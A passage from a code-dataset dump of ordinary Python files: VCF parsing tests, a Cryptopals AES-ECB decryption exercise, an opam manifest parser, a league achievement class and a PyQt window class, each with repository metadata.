_count_comment_rows,\n)\nfrom vcf_to_dataframe.helpers import (\n nan_to_None,\n dot_to_None,\n)\n\n\nTEST_DIR = dirname(realpath(__file__))\n\n\nSAMPLE_IDS = ['HG00096', 'HG00097']\nTEST_PARAMS = [\n ('sample.vcf.gz', True),\n ('sample.vcf', False)\n]\n\n\n@pytest.mark.parametrize('filename,gzipped', TEST_PARAMS)\ndef test_basic_functionality(filename, gzipped):\n df = vcf_to_dataframe(_test_file(filename))\n assert len(df['chrom'].cat.categories) == 5\n\n # Genotypes *not* read by default:\n assert all(sample_id not in df.columns for sample_id in SAMPLE_IDS)\n\n # Read the file \"manually\" to compare the data\n rows = read_file(_test_file(filename), gzipped)\n records = [re.split(r'\\s+', row) for row in rows]\n seen_ids = set(record[2] for record in records)\n assert seen_ids == set(df['id'].unique())\n\n # Check the INFO field is read as a dictionary\n first_info_dict = df['info'].iloc[0]\n assert isinstance(first_info_dict, dict)\n assert first_info_dict['AN'] == '5008'\n\n\n@pytest.mark.parametrize('filename,gzipped', TEST_PARAMS)\ndef test_genotypes_are_read_ok(filename, gzipped):\n sample_id = SAMPLE_IDS[0]\n\n df = vcf_to_dataframe(_test_file(filename), keep_samples=sample_id)\n assert sample_id in df.columns\n\n # Check category dtypes\n for col in ['chrom', 'ref', 'filter', sample_id]:\n assert df[sample_id].dtype == 'category'\n\n\n@pytest.mark.parametrize('filename,gzipped', TEST_PARAMS)\ndef test_error_if_sample_not_present(filename, gzipped):\n with pytest.raises(ValueError):\n vcf_to_dataframe(_test_file(filename), keep_samples='non_existent')\n\n\n@pytest.mark.parametrize('filename,gzipped', TEST_PARAMS)\ndef test_genotype_metadata_are_read_ok(filename, gzipped):\n df = vcf_to_dataframe(_test_file(filename), keep_samples=SAMPLE_IDS,\n keep_format_data=True)\n assert 'GT' in df.columns\n assert all(sample_id not in df.columns for sample_id in SAMPLE_IDS)\n\n # Check there's one row per variant & sample\n variant_id = 'rs870124'\n variant_rows = df[df['id'] == variant_id]\n assert len(variant_rows) == len(SAMPLE_IDS)\n assert set(variant_rows['sample_id']) == set(SAMPLE_IDS)\n\n # Check one random genotype to make sure we're reading it correctly\n heterozygous_variant = df.loc[(df['id'] == variant_id) &\n (df['sample_id'] == 'HG00097')]\n assert heterozygous_variant.iloc[0]['GT'] == '0|1'\n\n\n@pytest.mark.parametrize('filename,gzipped', TEST_PARAMS)\ndef test_available_samples(filename, gzipped):\n vcf_path = _test_file(filename)\n\n found_samples = available_samples(vcf_path)\n\n # Read the file \"manually\" to compare the data\n header = [line for line in read_file(vcf_path, gzipped, keep_header=True)\n if line.startswith('#CHROM')][0]\n expected_samples = header.split('\\tFORMAT\\t')[-1].split('\\t')\n\n assert found_samples == expected_samples\n\n\ndef read_file(path, gzipped, keep_header=False):\n if gzipped:\n with gzip.open(path) as f:\n lines = [line.decode('utf-8').strip() for line in f.readlines()]\n else:\n with open(path) as f:\n lines = [line.strip() for line in f.readlines()]\n\n if not keep_header:\n lines = [line for line in lines if not line.startswith('#')]\n\n return lines\n\n\n@pytest.mark.parametrize('filename,gzipped', TEST_PARAMS)\ndef test_count_comment_rows(filename, gzipped):\n filepath = _test_file(filename)\n assert _count_comment_rows(filepath) == 258\n\n\ndef test_dot_to_None():\n series = pd.Series(['foo', 'bar', '.', 'baz', '.'])\n result = series.map(dot_to_None)\n assert list(result) == ['foo', 'bar', None, 'baz', None]\n\n\ndef test_nan_to_None():\n series = pd.Series([1.0, 2.0, None]) # Nones converted to NaN by pandas\n series.loc[0] = '1' # Now it's an 'object' series\n result = series.map(nan_to_None)\n assert list(result) == ['1', 2.0, None]\n\n\ndef _test_file(filename):\n return join(TEST_DIR, 'files', filename)\n\n", "repo_name": "biocodices/vcf_to_dataframe", "sub_path": "tests/test_vcf_to_dataframe.py", "file_name": "test_vcf_to_dataframe.py", "file_ext": "py", "file_size_in_byte": 4235, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.path.dirname", "line_number": 21, "usage_type": "call"}, {"api_name": "os.path.realpath", "line_number": 21, "usage_type": "call"}, {"api_name": "vcf_to_dataframe.vcf_to_dataframe", "line_number": 33, "usage_type": "call"}, {"api_name": "re.split", "line_number": 41, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 31, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 31, "usage_type": "attribute"}, {"api_name": "vcf_to_dataframe.vcf_to_dataframe", "line_number": 55, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 51, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 51, "usage_type": "attribute"}, {"api_name": "pytest.raises", "line_number": 65, "usage_type": "call"}, {"api_name": "vcf_to_dataframe.vcf_to_dataframe", "line_number": 66, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 63, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 63, "usage_type": "attribute"}, {"api_name": "vcf_to_dataframe.vcf_to_dataframe", "line_number": 71, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 69, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 69, "usage_type": "attribute"}, {"api_name": "vcf_to_dataframe.available_samples", "line_number": 92, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 88, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 88, "usage_type": "attribute"}, {"api_name": "gzip.open", "line_number": 104, "usage_type": "call"}, {"api_name": "vcf_to_dataframe.vcf_to_dataframe._count_comment_rows", "line_number": 119, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 116, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 116, "usage_type": "attribute"}, {"api_name": "pandas.Series", "line_number": 123, "usage_type": "call"}, {"api_name": "vcf_to_dataframe.helpers.dot_to_None", "line_number": 124, "usage_type": "argument"}, {"api_name": "pandas.Series", "line_number": 129, "usage_type": "call"}, {"api_name": "vcf_to_dataframe.helpers.nan_to_None", "line_number": 131, "usage_type": "argument"}, {"api_name": "os.path.join", "line_number": 136, "usage_type": "call"}]} {"seq_id": "5093527529", "text": "from b64 import b64_to_bytes\r\nfrom Cryptodome.Cipher import AES\r\n\r\nif __name__ == \"__main__\":\r\n\r\n\r\n with open(\"7.txt\") as f:\r\n cipher_b64 = f.read().splitlines()\r\n \r\n cipher_b64 = \"\".join(cipher_b64)\r\n\r\n ciphertext = b64_to_bytes(cipher_b64)\r\n \r\n key = b'YELLOW SUBMARINE'\r\n cipher = AES.new(key, AES.MODE_ECB)\r\n plaintext = cipher.decrypt(ciphertext)\r\n print(plaintext.decode('ascii'))", "repo_name": "erika-n/cryptopals", "sub_path": "challenge_7_AES.py", "file_name": "challenge_7_AES.py", "file_ext": "py", "file_size_in_byte": 420, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "b64.b64_to_bytes", "line_number": 12, "usage_type": "call"}, {"api_name": "Cryptodome.Cipher.AES.new", "line_number": 15, "usage_type": "call"}, {"api_name": "Cryptodome.Cipher.AES", "line_number": 15, "usage_type": "name"}, {"api_name": "Cryptodome.Cipher.AES.MODE_ECB", "line_number": 15, "usage_type": "attribute"}]} {"seq_id": "41591098039", "text": "\nimport io\nimport logging\nimport re\n\nimport attr\nfrom packageurl import PackageURL\n\nfrom packagedcode import models\n\n\n\"\"\"\nHandle opam package.\n\"\"\"\n\nTRACE = False\n\nlogger = logging.getLogger(__name__)\n\nif TRACE:\n import sys\n logging.basicConfig(stream=sys.stdout)\n logger.setLevel(logging.DEBUG)\n\n\n@attr.s()\nclass OpamPackage(models.Package):\n metafiles = ('*opam',)\n extensions = ('.opam',)\n default_type = 'opam'\n default_primary_language = 'Ocaml'\n default_web_baseurl = 'https://opam.ocaml.org/packages'\n default_download_baseurl = None\n default_api_baseurl = 'https://github.com/ocaml/opam-repository/blob/master/packages'\n\n @classmethod\n def recognize(cls, location):\n yield parse(location)\n\n @classmethod\n def get_package_root(cls, manifest_resource, codebase):\n return manifest_resource.parent(codebase)\n\n def repository_homepage_url(self, baseurl=default_web_baseurl):\n if self.name:\n return '{}/{}'.format(baseurl, self.name)\n\n def api_data_url(self, baseurl=default_api_baseurl):\n if self.name and self.version:\n return '{}/{}/{}.{}/opam'.format(baseurl, self.name, self.name, self.version)\n\n\ndef is_opam(location):\n return location.endswith('opam')\n\n\ndef parse(location):\n \"\"\"\n Return a Package object from a opam file or None.\n \"\"\"\n if not is_opam(location):\n return\n\n opams = parse_opam(location)\n return build_opam_package(opams)\n\n\ndef build_opam_package(opams):\n \"\"\"\n Return a Package from a opam file or None.\n \"\"\"\n package_dependencies = []\n deps = opams.get('depends') or []\n for dep in deps:\n package_dependencies.append(\n models.DependentPackage(\n purl=dep.purl,\n requirement=dep.version,\n scope='dependency',\n is_runtime=True,\n is_optional=False,\n is_resolved=False,\n )\n )\n\n name = opams.get('name')\n version = opams.get('version')\n homepage_url = opams.get('homepage')\n download_url = opams.get('src')\n vcs_url = opams.get('dev-repo')\n bug_tracking_url = opams.get('bug-reports')\n declared_license = opams.get('license')\n sha1 = opams.get('sha1')\n md5 = opams.get('md5')\n sha256 = opams.get('sha256')\n sha512 = opams.get('sha512')\n\n short_desc = opams.get('synopsis') or ''\n long_desc = opams.get('description') or ''\n if long_desc == short_desc:\n long_desc = None\n descriptions = [d for d in (short_desc, long_desc) if d and d.strip()]\n description = '\\n'.join(descriptions)\n\n parties = []\n authors = opams.get('authors') or []\n for author in authors:\n parties.append(\n models.Party(\n type=models.party_person,\n name=author,\n role='author'\n )\n )\n maintainers = opams.get('maintainer') or []\n for maintainer in maintainers:\n parties.append(\n models.Party(\n type=models.party_person,\n email=maintainer,\n role='maintainer'\n )\n )\n\n package = OpamPackage(\n name=name,\n version=version,\n vcs_url=vcs_url,\n homepage_url=homepage_url,\n download_url=download_url,\n sha1=sha1,\n md5=md5,\n sha256=sha256,\n sha512=sha512,\n bug_tracking_url=bug_tracking_url,\n declared_license=declared_license,\n description=description,\n parties=parties,\n dependencies=package_dependencies\n )\n\n return package\n\n\"\"\"\nExample:- \n\nSample opam file(sample3.opam):\nopam-version: \"2.0\"\nversion: \"4.11.0+trunk\"\nsynopsis: \"OCaml development version\"\ndepends: [\n \"ocaml\" {= \"4.11.0\" & post}\n \"base-unix\" {post}\n]\nconflict-class: \"ocaml-core-compiler\"\nflags: compiler\nsetenv: CAML_LD_LIBRARY_PATH = \"%{lib}%/stublibs\"\nbuild: [\n [\"./configure\" \"--prefix=%{prefix}%\"]\n [make \"-j%{jobs}%\"]\n]\ninstall: [make \"install\"]\nmaintainer: \"caml-list@inria.fr\"\nhomepage: \"https://github.com/ocaml/ocaml/\"\nbug-reports: \"https://github.com/ocaml/ocaml/issues\"\nauthors: [\n \"Xavier Leroy\"\n \"Damien Doligez\"\n \"Alain Frisch\"\n \"Jacques Garrigue\"\n] \n\n>>> p = parse_opam('sample3.opam')\n>>> for k, v in p.items():\n>>> print(k, v)\n\nOutput:\nopam-version 2.0\nversion 4.11.0+trunk\nsynopsis OCaml development version\ndepends [Opam(name='ocaml', version='= 4.11.0 & post'), Opam(name='base-unix', version='post')]\nconflict-class ocaml-core-compiler\nflags compiler\nsetenv CAML_LD_LIBRARY_PATH = %{lib}%/stublibs\nbuild \ninstall make install\nmaintainer ['caml-list@inria.fr']\nhomepage https://github.com/ocaml/ocaml/\nbug-reports https://github.com/ocaml/ocaml/issues\nauthors ['Xavier Leroy', 'Damien Doligez', 'Alain Frisch', 'Jacques Garrigue']\n\"\"\"\n\n@attr.s()\nclass Opam(object):\n name = attr.ib(default=None)\n version = attr.ib(default=None)\n\n @property\n def purl(self):\n return PackageURL(\n type='opam',\n name=self.name\n ).to_string()\n\n\n# Regex expressions to parse file lines\nparse_file_line = re.compile(\n r'(?P^(.+?))'\n r'\\:\\s*'\n r'(?P(.*))'\n).match\n\nparse_checksum = re.compile(\n r'(?P^(.+?))'\n r'\\='\n r'(?P(.*))'\n).match\n\nparse_dep = re.compile(\n r'^\\s*\\\"'\n r'(?P[A-z0-9\\-]*)'\n r'\\\"\\s*'\n r'(?P(.*))'\n).match\n\n\"\"\"\nExample:\n>>> p = parse_file_line('authors: \"BAP Team\"')\n>>> assert p.group('key') == ('authors')\n>>> assert p.group('value') == ('\"BAP Team\"')\n\n>>> p = parse_file_line('md5=b7a7b7cce64eabf224d05ed9f2b9d471')\n>>> assert p.group('key') == ('md5')\n>>> assert p.group('value') == ('b7a7b7cce64eabf224d05ed9f2b9d471')\n\n>>> p = parse_dep('\"bap-std\" {= \"1.0.0\"}')\n>>> assert p.group('name') == ('bap-std')\n>>> assert p.group('version') == ('{= \"1.0.0\"}')\n\"\"\"\n\ndef parse_opam(location):\n \"\"\"\n Return a mapping of package data collected from the opam OCaml package manifest file at `location`.\n \"\"\"\n with io.open(location, encoding='utf-8') as data:\n lines = data.readlines()\n\n opam_data = {}\n\n for i, line in enumerate(lines):\n parsed_line = parse_file_line(line)\n if parsed_line:\n key = parsed_line.group('key').strip()\n value = parsed_line.group('value').strip()\n if key == 'description': # Get multiline description\n value = ''\n for cont in lines[i+1:]:\n value += ' ' + cont.strip()\n if '\"\"\"' in cont:\n break\n\n opam_data[key] = clean_data(value)\n\n if key == 'maintainer':\n stripped_val = value.strip('[\"] ')\n stripped_val = stripped_val.split('\" \"')\n opam_data[key] = stripped_val\n elif key == 'authors':\n if '[' in line: # If authors are present in multiple lines\n for authors in lines[i+1:]:\n value += ' ' + authors.strip()\n if ']' in authors:\n break\n value = value.strip('[\"] ')\n else:\n value = clean_data(value) \n value = value.split('\" \"')\n opam_data[key] = value\n elif key == 'depends': # Get multiline dependencies\n value = []\n for dep in lines[i+1:]:\n if ']' in dep:\n break\n parsed_dep = parse_dep(dep)\n if parsed_dep:\n value.append(Opam(\n name=parsed_dep.group('name').strip(),\n version=parsed_dep.group('version').strip('{ } ').replace('\"', '')\n )\n )\n opam_data[key] = value\n elif key == 'src': # Get multiline src\n if not value:\n value = lines[i+1].strip()\n opam_data[key] = clean_data(value)\n elif key == 'checksum': # Get checksums\n if '[' in line:\n for checksum in lines[i+1:]:\n checksum = checksum.strip('\" ')\n if ']' in checksum:\n break\n parsed_checksum = parse_checksum(checksum)\n key = clean_data(parsed_checksum.group('key').strip())\n value = clean_data(parsed_checksum.group('value').strip())\n opam_data[key] = value\n else:\n value = value.strip('\" ')\n parsed_checksum = parse_checksum(value)\n if parsed_checksum:\n key = clean_data(parsed_checksum.group('key').strip())\n value = clean_data(parsed_checksum.group('value').strip())\n opam_data[key] = value\n\n return opam_data\n\n\ndef clean_data(data):\n \"\"\"\n Return data after removing unnecessary special character.\n \"\"\"\n for strippable in (\"'\", '\"', '[', ']',):\n data = data.replace(strippable, '')\n\n return data.strip()\n", "repo_name": "Optum/barista", "sub_path": "barista-scan/tools/scancode-toolkit/src/packagedcode/opam.py", "file_name": "opam.py", "file_ext": "py", "file_size_in_byte": 9255, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 69, "dataset": "github-code", "pt": "78", "api": [{"api_name": "logging.getLogger", "line_number": 18, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 22, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 22, "usage_type": "attribute"}, {"api_name": "logging.DEBUG", "line_number": 23, "usage_type": "attribute"}, {"api_name": "packagedcode.models.Package", "line_number": 27, "usage_type": "attribute"}, {"api_name": "packagedcode.models", "line_number": 27, "usage_type": "name"}, {"api_name": "attr.s", "line_number": 26, "usage_type": "call"}, {"api_name": "packagedcode.models.DependentPackage", "line_number": 76, "usage_type": "call"}, {"api_name": "packagedcode.models", "line_number": 76, "usage_type": "name"}, {"api_name": "packagedcode.models.Party", "line_number": 109, "usage_type": "call"}, {"api_name": "packagedcode.models", "line_number": 109, "usage_type": "name"}, {"api_name": "packagedcode.models.party_person", "line_number": 110, "usage_type": "attribute"}, {"api_name": "packagedcode.models", "line_number": 110, "usage_type": "name"}, {"api_name": "packagedcode.models.Party", "line_number": 118, "usage_type": "call"}, {"api_name": "packagedcode.models", "line_number": 118, "usage_type": "name"}, {"api_name": "packagedcode.models.party_person", "line_number": 119, "usage_type": "attribute"}, {"api_name": "packagedcode.models", "line_number": 119, "usage_type": "name"}, {"api_name": "attr.ib", "line_number": 195, "usage_type": "call"}, {"api_name": "attr.ib", "line_number": 196, "usage_type": "call"}, {"api_name": "packageurl.PackageURL", "line_number": 200, "usage_type": "call"}, {"api_name": "attr.s", "line_number": 193, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 207, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 213, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 219, "usage_type": "call"}, {"api_name": "io.open", "line_number": 245, "usage_type": "call"}]} {"seq_id": "16088604089", "text": "import collections\nimport cibblbibbl\nfrom cibblbibbl import bbcode\n\nfrom . import exporttools\nfrom .mastercls import TeamAchievement\n\nclass TP_Match(TeamAchievement):\n\n rank = 10\n sortrank = 10\n\n @classmethod\n def agent01(cls, group):\n for T in group.tournaments.values():\n if T.awarded == \"yes\":\n continue # collected by the iterexisting agent\n if T.posonly == \"yes\":\n continue\n if T.friendly == \"yes\":\n continue\n # despite it should have zero prestige value too\n prestiges = collections.defaultdict(lambda: 0)\n for Mu in T.matchups:\n if Mu.excluded == \"yes\":\n continue\n for Te in Mu.teams:\n prestiges[Te] += Mu.performance(Te).get(\"prestige\", 0)\n for Te, prestige in prestiges.items():\n if not prestige:\n continue\n A = cls(T, Te)\n if A.get(\"status\", \"proposed\") == \"proposed\":\n A[\"prestige\"] = prestige\n A[\"status\"] = \"proposed\" # explicit; easier to edit\n yield A\n\n def export_bbcode(self):\n s1 = bbcode.team(self.subject)\n s2 = f' ({self.prestige(self.season)} Prestige Points)'\n return s1 + s2\n\n def export_plaintext(self, show_Ids=False):\n s0 = exporttools.idpart(self, show_Ids)\n s1 = self.subject.name\n s2 = f' ({self.prestige(self.season)} Prestige Points)'\n return s0 + s1 + s2\n\n\ncls = TP_Match\n", "repo_name": "FUMBBLPlus/cibblbibbl", "sub_path": "cibblbibbl/achievement/tp_match.py", "file_name": "tp_match.py", "file_ext": "py", "file_size_in_byte": 1382, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "mastercls.TeamAchievement", "line_number": 8, "usage_type": "name"}, {"api_name": "collections.defaultdict", "line_number": 23, "usage_type": "call"}, {"api_name": "cibblbibbl.bbcode.team", "line_number": 39, "usage_type": "call"}, {"api_name": "cibblbibbl.bbcode", "line_number": 39, "usage_type": "name"}]} {"seq_id": "33415967399", "text": "from PyQt5.QtCore import QDir, QSize\nfrom PyQt5.QtWidgets import QMainWindow, QAction, QFileDialog, QActionGroup, QFontDialog, QMenu\n\nfrom core.common import App\nfrom core.common.config import ConfigsHolder, FontHolder\nfrom core.common.uilang import UILangHolder\nfrom core.highlight.theme import ThemesHolder\nfrom res.resource import IconsHolder\n\n\nclass AppFrame(QMainWindow):\n\n def __init__(self, controller=None, parent=None):\n super(AppFrame, self).__init__(parent)\n self.controller = controller\n # self.setStyleSheet('background-color: rgb(0, 44, 56)')\n self.setWindowTitle(UILangHolder.get(App.WINDOW_TITLE))\n self.setWindowIcon(IconsHolder.get_by_id(IconsHolder.ID_OPEN))\n self._init_actions()\n self._init_menu_bar()\n self._init_tool_bar()\n self.update_lang()\n self.update_font()\n self._init_signals()\n\n def closeEvent(self, *args, **kwargs):\n \"\"\" Override the window close event, let the controller save and exit\n \"\"\"\n self.controller.do_exit()\n\n def update_lang(self):\n self.setWindowTitle(UILangHolder.get(App.WINDOW_TITLE))\n self.file_menu.setTitle(UILangHolder.get(App.MENU_FILE))\n self.view_menu.setTitle(UILangHolder.get(App.MENU_VIEW))\n self.func_menu.setTitle(UILangHolder.get(App.MENU_FUNC))\n self.help_menu.setTitle(UILangHolder.get(App.MENU_HELP))\n self.open_act.setText(UILangHolder.get(App.OPEN))\n self.open_act.setToolTip(UILangHolder.get(App.OPEN) + '(O)')\n self.open_dir_act.setText(UILangHolder.get(App.OPEN_DIR))\n self.open_dir_act.setToolTip(UILangHolder.get(App.OPEN_DIR) + '(O)')\n self.close_act.setText(UILangHolder.get(App.CLOSE))\n self.close_act.setToolTip(UILangHolder.get(App.CLOSE) + '(W)')\n self.close_all_act.setText(UILangHolder.get(App.CLOSE_ALL))\n self.close_all_act.setToolTip(UILangHolder.get(App.CLOSE_ALL) + '(W)')\n self.exit_act.setText(UILangHolder.get(App.EXIT))\n self.exit_act.setToolTip(UILangHolder.get(App.EXIT) + '(Q)')\n self.tool_bar_act.setText(UILangHolder.get(App.TOOL_BAR))\n self.tool_bar_act.setToolTip(UILangHolder.get(App.TOOL_BAR))\n self.font_act.setText(UILangHolder.get(App.FONT))\n self.font_act.setToolTip(UILangHolder.get(App.FONT))\n self.lang_menu.setTitle(UILangHolder.get(App.LANG))\n self.find_act.setText(UILangHolder.get(App.FIND))\n self.find_act.setToolTip(UILangHolder.get(App.FIND) + '(F)')\n self.find_dir_act.setText(UILangHolder.get(App.FIND_DIR))\n self.find_dir_act.setToolTip(UILangHolder.get(App.FIND_DIR) + '(F)')\n self.calc_act.setText(UILangHolder.get(App.CALC))\n self.help_act.setText(UILangHolder.get(App.HELP))\n\n def update_font(self):\n font = FontHolder.get()\n self.setFont(font)\n self.file_menu.setFont(font)\n self.view_menu.setFont(font)\n self.func_menu.setFont(font)\n self.help_menu.setFont(font)\n self.lang_menu.setFont(font)\n for action in self.lang_act_grp.actions():\n action.setFont(font)\n\n def _init_file_actions(self):\n # open file action\n self.open_act = QAction(self)\n self.open_act.setIcon(IconsHolder.get_by_id(IconsHolder.ID_OPEN))\n self.open_act.setShortcut(\"Ctrl+O\")\n # open directory action\n self.open_dir_act = QAction(self)\n self.open_dir_act.setIcon(IconsHolder.get_by_id(IconsHolder.ID_OPEN_DIR))\n self.open_dir_act.setShortcut(\"Ctrl+Shift+O\")\n # close file action\n self.close_act = QAction(self)\n self.close_act.setIcon(IconsHolder.get_by_id(IconsHolder.ID_CLOSE))\n self.close_act.setShortcut(\"Ctrl+W\")\n # close all files action\n self.close_all_act = QAction(self)\n self.close_all_act.setIcon(IconsHolder.get_by_id(IconsHolder.ID_CLOSE_ALL))\n self.close_all_act.setShortcut(\"Ctrl+Shift+W\")\n # exit application action\n self.exit_act = QAction(self)\n self.exit_act.setIcon(IconsHolder.get_by_id(IconsHolder.ID_EXIT))\n self.exit_act.setShortcut(\"Ctrl+Q\")\n\n def _init_view_actions(self):\n self.tool_bar_act = QAction(self)\n self.tool_bar_act.setCheckable(True)\n if ConfigsHolder.get(App.TOOL_BAR) == \"True\":\n self.tool_bar_act.setChecked(True)\n self.font_act = QAction(self)\n self.lang_menu = QMenu(self)\n self.lang_act_grp = QActionGroup(self)\n for lang in UILangHolder.get_langs():\n action = QAction(lang, self)\n action.setFont(FontHolder.get())\n action.setCheckable(True)\n self.lang_menu.addAction(action)\n self.lang_act_grp.addAction(action)\n if UILangHolder.get(App.LANG_TYPE) == lang:\n action.setChecked(True)\n\n def _init_func_actions(self):\n # find all matches in current file action\n self.find_act = QAction(self)\n self.find_act.setIcon(IconsHolder.get_by_id(IconsHolder.ID_FIND))\n self.find_act.setShortcut(\"Ctrl+F\")\n # find all matches in the whole dir action\n self.find_dir_act = QAction(self)\n self.find_dir_act.setIcon(IconsHolder.get_by_id(IconsHolder.ID_FIND_DIR))\n self.find_dir_act.setShortcut(\"Ctrl+Shift+F\")\n self.find_act.setEnabled(False)\n # account function action\n self.calc_act = QAction(self)\n self.calc_act.setIcon(IconsHolder.get_by_id(IconsHolder.ID_CALC))\n self.calc_act.setShortcut(\"Ctrl+Alt+L\")\n self.calc_act.setToolTip(UILangHolder.get(App.CALC))\n\n def _init_theme_actions(self):\n self.theme_act_group = QActionGroup(self)\n self.theme_acts = {}\n for theme in ThemesHolder.get_themes():\n self.theme_acts[theme] = QAction(theme, self)\n self.theme_acts[theme].setActionGroup(self.theme_act_group)\n self.theme_menu.addAction(self.theme_acts[theme])\n\n def _init_help_actions(self):\n self.help_act = QAction(self)\n # self.setIcon(IconsHolder.get_icon_by_id())\n\n def _init_actions(self):\n self._init_file_actions()\n self._init_view_actions()\n self._init_func_actions()\n self._init_help_actions()\n\n def _init_menu_bar(self):\n self.menu_bar = self.menuBar()\n self.file_menu = self.menu_bar.addMenu(UILangHolder.get(App.MENU_FILE))\n self.file_menu.setFont(FontHolder.get())\n self.open_act.setCheckable(False)\n self.file_menu.addAction(self.open_act)\n self.file_menu.addAction(self.open_dir_act)\n self.file_menu.addSeparator()\n self.file_menu.addAction(self.close_act)\n self.file_menu.addAction(self.close_all_act)\n self.file_menu.addSeparator()\n self.file_menu.addAction(self.exit_act)\n self.view_menu = self.menu_bar.addMenu(UILangHolder.get(App.MENU_VIEW))\n self.view_menu.setFont(FontHolder.get())\n self.view_menu.addAction(self.tool_bar_act)\n self.view_menu.addSeparator()\n self.view_menu.addAction(self.font_act)\n self.view_menu.addMenu(self.lang_menu)\n self.func_menu = self.menu_bar.addMenu(UILangHolder.get(App.MENU_FUNC))\n self.func_menu.setFont(FontHolder.get())\n # self.func_menu.addAction(self.find_act)\n self.func_menu.addAction(self.find_dir_act)\n self.func_menu.addSeparator()\n self.func_menu.addAction(self.calc_act)\n self.help_menu = self.menu_bar.addMenu(UILangHolder.get(App.MENU_HELP))\n self.help_menu.setFont(FontHolder.get())\n\n def _init_tool_bar(self):\n # tool bar for base functions\n self.file_tool_bar = self.addToolBar(\"base\")\n self.file_tool_bar.setIconSize(QSize(25, 25))\n self.file_tool_bar.setMovable(False)\n self.file_tool_bar.addAction(self.open_act)\n self.file_tool_bar.addAction(self.open_dir_act)\n self.file_tool_bar.addAction(self.close_act)\n self.file_tool_bar.addAction(self.close_all_act)\n self.file_tool_bar.addAction(self.exit_act)\n self.func_tool_bar = self.addToolBar(\"func\")\n self.func_tool_bar.setIconSize(QSize(25, 25))\n self.func_tool_bar.setMovable(False)\n # self.func_tool_bar.addAction(self.find_act)\n self.func_tool_bar.addAction(self.find_dir_act)\n self.func_tool_bar.addAction(self.calc_act)\n self._change_tool_bar()\n\n def _open_file(self):\n home_path = QDir.homePath()\n file = QFileDialog.getOpenFileName(self, \"Select File\", home_path, \"All Files (*.*)\")\n self.controller.do_open_file(file[0])\n\n def _open_dir(self):\n home_path = QDir.homePath()\n options = QFileDialog.ShowDirsOnly | QFileDialog.DontResolveSymlinks\n selected_dir = QFileDialog.getExistingDirectory(self, \"选择目录\", home_path, options)\n if selected_dir:\n self.controller.do_open_dir(selected_dir)\n\n def _close_file(self):\n self.controller.do_close_file()\n\n def _close_all(self):\n self.controller.do_close_all()\n\n def _exit(self):\n self.controller.do_exit()\n\n def _change_tool_bar(self):\n hidden = not self.tool_bar_act.isChecked()\n self.file_tool_bar.setHidden(hidden)\n self.func_tool_bar.setHidden(hidden)\n self.controller.do_change_tool_bar(not hidden)\n\n def _change_font(self):\n font, ok = QFontDialog.getFont(FontHolder.get())\n if ok:\n self.controller.do_change_font(font)\n\n def _change_lang(self, action):\n lang_type = action.text()\n if lang_type:\n self.controller.do_change_lang(lang_type)\n\n def _find_file(self):\n # self.controller.do_find_file()\n self.controller.do_find_dir()\n\n def _find_dir(self):\n self.controller.do_find_dir()\n\n def _calculate(self):\n self.controller.do_calculate()\n\n def _change_theme(self, action):\n pass\n\n def _help(self):\n pass\n\n def _init_signals(self):\n self.open_act.triggered.connect(self._open_file)\n self.open_dir_act.triggered.connect(self._open_dir)\n self.close_act.triggered.connect(self._close_file)\n self.close_all_act.triggered.connect(self._close_all)\n self.exit_act.triggered.connect(self._exit)\n self.tool_bar_act.triggered.connect(self._change_tool_bar)\n self.font_act.triggered.connect(self._change_font)\n self.lang_act_grp.triggered.connect(self._change_lang)\n self.find_act.triggered.connect(self._find_file)\n self.find_dir_act.triggered.connect(self._find_dir)\n self.calc_act.triggered.connect(self._calculate)\n # self.theme_act_group.triggered.connect(self._change_theme)\n self.help_act.triggered.connect(self._help)\n", "repo_name": "Miracleye/SourceCodeTool", "sub_path": "view/appframe.py", "file_name": "appframe.py", "file_ext": "py", "file_size_in_byte": 10801, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "PyQt5.QtWidgets.QMainWindow", "line_number": 11, "usage_type": "name"}, {"api_name": "core.common.uilang.UILangHolder.get", "line_number": 17, "usage_type": "call"}, {"api_name": "core.common.uilang.UILangHolder", "line_number": 17, "usage_type": "name"}, {"api_name": "core.common.App.WINDOW_TITLE", "line_number": 17, "usage_type": "attribute"}, {"api_name": "core.common.App", "line_number": 17, "usage_type": "name"}, {"api_name": "res.resource.IconsHolder.get_by_id", "line_number": 18, "usage_type": "call"}, {"api_name": "res.resource.IconsHolder", "line_number": 18, "usage_type": "name"}, {"api_name": "res.resource.IconsHolder.ID_OPEN", "line_number": 18, "usage_type": "attribute"}, {"api_name": "core.common.uilang.UILangHolder.get", "line_number": 32, "usage_type": "call"}, {"api_name": "core.common.uilang.UILangHolder", "line_number": 32, "usage_type": "name"}, {"api_name": "core.common.App.WINDOW_TITLE", "line_number": 32, "usage_type": "attribute"}, {"api_name": "core.common.App", "line_number": 32, "usage_type": "name"}, {"api_name": "core.common.uilang.UILangHolder.get", "line_number": 33, "usage_type": "call"}, {"api_name": "core.common.uilang.UILangHolder", "line_number": 33, "usage_type": "name"}, {"api_name": "core.common.App.MENU_FILE", "line_number": 33, "usage_type": "attribute"}, {"api_name": "core.common.App", "line_number": 33, "usage_type": 